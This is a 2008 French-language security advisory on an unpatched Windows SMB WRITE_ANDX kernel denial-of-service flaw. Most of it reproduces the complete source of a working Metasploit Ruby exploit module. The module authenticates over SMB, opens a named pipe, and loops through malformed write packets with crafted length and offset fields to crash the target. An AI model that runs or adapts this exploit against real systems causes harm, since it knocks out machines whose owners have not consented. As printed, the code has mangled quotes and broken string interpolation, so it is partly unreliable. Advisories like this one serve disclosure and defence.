Xmco Partners : Déni de service via une faille au sein du service SMB des systèmes d’exploitation Microsoft Windows
septembre 2008 par XMCO PARTNERS
Microsoft Windows WRITE_ANDX SMB command handling Kernel DoS
– Date : 17 Septembre 2008
– Plateforme : Windows
– Programme : Windows
– Gravité : Moyenne
– Exploitation : Réseau local
– Dommage : Déni de service
– Description :
Un programme malicieux exploitant une vulnérabilité non corrigée du système d’exploitation Windows est actuellement publié sur internet.
Un attaquant est en mesure de causer un déni de service en exploitant cette faille de sécurité.
Plus d’informations sont disponibles au sein du bulletin Xmco n° 1221640751 [2].
L’exploit publié est un module utilisant le framework Metasploit codé en Ruby. Ce dernier envoie de nombreux paquets SMB spécialement conçus et provoque un déni de service.
Voici le code source de cet exploit :
require ’msf/core’
module Msf
module Exploits
module Test
class BugTest < Msf::Exploit::Remote
include Exploit::Remote::SMB
def initialize(info = {})
super(update_info(info,
’Name’ => ’test exploit’,
’Description’ =>
"tests",
’Author’ => ’tests’,
’License’ => MSF_LICENSE,
’Version’ => ’$Revision : 0 $’,
’Arch’ => ’x86’,
’Payload’ =>
’Space’ => 1000
,
’Targets’ =>
[
[
’Windows VISTA’,
’Platform’ => ’win’
],
],
’DefaultTarget’ => 0))
end
def subexploit(dlenlow, doffset,fillersize)
print_line("1")
datastore[’SMBUser’]=’testuser’
datastore[’SMBPass’]=’testuser’
datastore[’SMBDomain’]=’COBAYA’
datastore[’SMBName’]=’COBAYA’
print_line("2")
connect()
print_line("3")
smb_login()
print_line("4")
pkt = CONST::SMB_CREATE_PKT.make_struct
pkt[’Payload’][’SMB’].v[’Flags1’] = 0x18
pkt[’Payload’][’SMB’].v[’Flags2’] = 0xc807
pkt[’Payload’][’SMB’].v[’MultiplexID’] = simple.client.multiplex_id.to_i
pkt[’Payload’][’SMB’].v[’TreeID’] = simple.client.last_tree_id.to_i
pkt[’Payload’][’SMB’].v[’UserID’] = simple.client.auth_user_id.to_i
pkt[’Payload’][’SMB’].v[’ProcessID’] = simple.client.process_id.to_i
pkt[’Payload’][’SMB’].v[’Command’] = CONST::SMB_COM_NT_CREATE_ANDX
pkt[’Payload’][’SMB’].v[’WordCount’] = 24
pkt[’Payload’].v[’AndX’] = 255
pkt[’Payload’].v[’AndXOffset’] = 0xdede
pkt[’Payload’].v[’FileNameLen’] = 14
pkt[’Payload’].v[’CreateFlags’] = 0x16
pkt[’Payload’].v[’AccessMask’] = 0x2019f # Maximum Allowed
pkt[’Payload’].v[’ShareAccess’] = 7
pkt[’Payload’].v[’CreateOptions’] = 0x400040
pkt[’Payload’].v[’Impersonation’] = 2
pkt[’Payload’].v[’Disposition’] = 1
pkt[’Payload’].v[’Payload’] = "\x00\\x00L\x00S\x00A\x00R\x00P\x00C" + "\x00\x00"
simple.client.smb_send(pkt.to_s)
print_line("5")
ack = simple.client.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX)
pkt = CONST::SMB_WRITE_PKT.make_struct
data_offset = pkt.to_s.length - 4
print_line("6")
filler = Rex::Text.rand_text(fillersize)
print_line("7")
pkt[’Payload’][’SMB’].v[’Signature1’]=0xcccccccc
pkt[’Payload’][’SMB’].v[’Signature2’]=0xcccccccc
pkt[’Payload’][’SMB’].v[’MultiplexID’] = simple.client.multiplex_id.to_i
pkt[’Payload’][’SMB’].v[’TreeID’] = simple.client.last_tree_id.to_i
pkt[’Payload’][’SMB’].v[’UserID’] = simple.client.auth_user_id.to_i
pkt[’Payload’][’SMB’].v[’ProcessID’] = simple.client.process_id.to_i
pkt[’Payload’][’SMB’].v[’Command’] = CONST::SMB_COM_WRITE_ANDX
pkt[’Payload’][’SMB’].v[’Flags1’] = 0x18
pkt[’Payload’][’SMB’].v[’Flags2’] = 0xc807
pkt[’Payload’][’SMB’].v[’WordCount’] = 14
pkt[’Payload’].v[’AndX’] = 255
pkt[’Payload’].v[’AndXOffset’] = 0xdede
pkt[’Payload’].v[’FileID’] = ack[’Payload’].v[’FileID’]
pkt[’Payload’].v[’Offset’] = 0
pkt[’Payload’].v[’Reserved2’] = -1
pkt[’Payload’].v[’WriteMode’] = 8
pkt[’Payload’].v[’Remaining’] = fillersize
pkt[’Payload’].v[’DataLenHigh’] = 0
pkt[’Payload’].v[’DataLenLow’] = dlenlow #<==================
pkt[’Payload’].v[’DataOffset’] = doffset #<====
pkt[’Payload’].v[’DataOffsetHigh’] = 0xcccccccc #<====
pkt[’Payload’].v[’ByteCount’] = fillersize#<====
pkt[’Payload’].v[’Payload’] = filler
print_line("8")
simple.client.smb_send(pkt.to_s)
print_line("9")
end
def exploit
k=72
j=0xffff
while j>10000
i=0xffff
while i>10000
begin
print_line("datalenlow=#i dataoffset=#j fillersize=#k")
subexploit(i,j,k)
rescue
print_line("rescue")
end
i=i-10000
end
j=j-10000
end
end
end
end
end
end
– Vulnérable :
* Windows XP
– Référence :
[1] http://www.vallejo.cc/proyectos/vista_SMB_write_DoS.htm
[2] http://www.xmcopartners.com/veille/client/index.xmco?nv=1221640751
– Correction :
Aucun correctif n’a actuellement disponible sur le site de l’éditeur
– Lien extranet XMCO :
http://xmcopartners.com/veille/client/index.xmco?nv=1221642256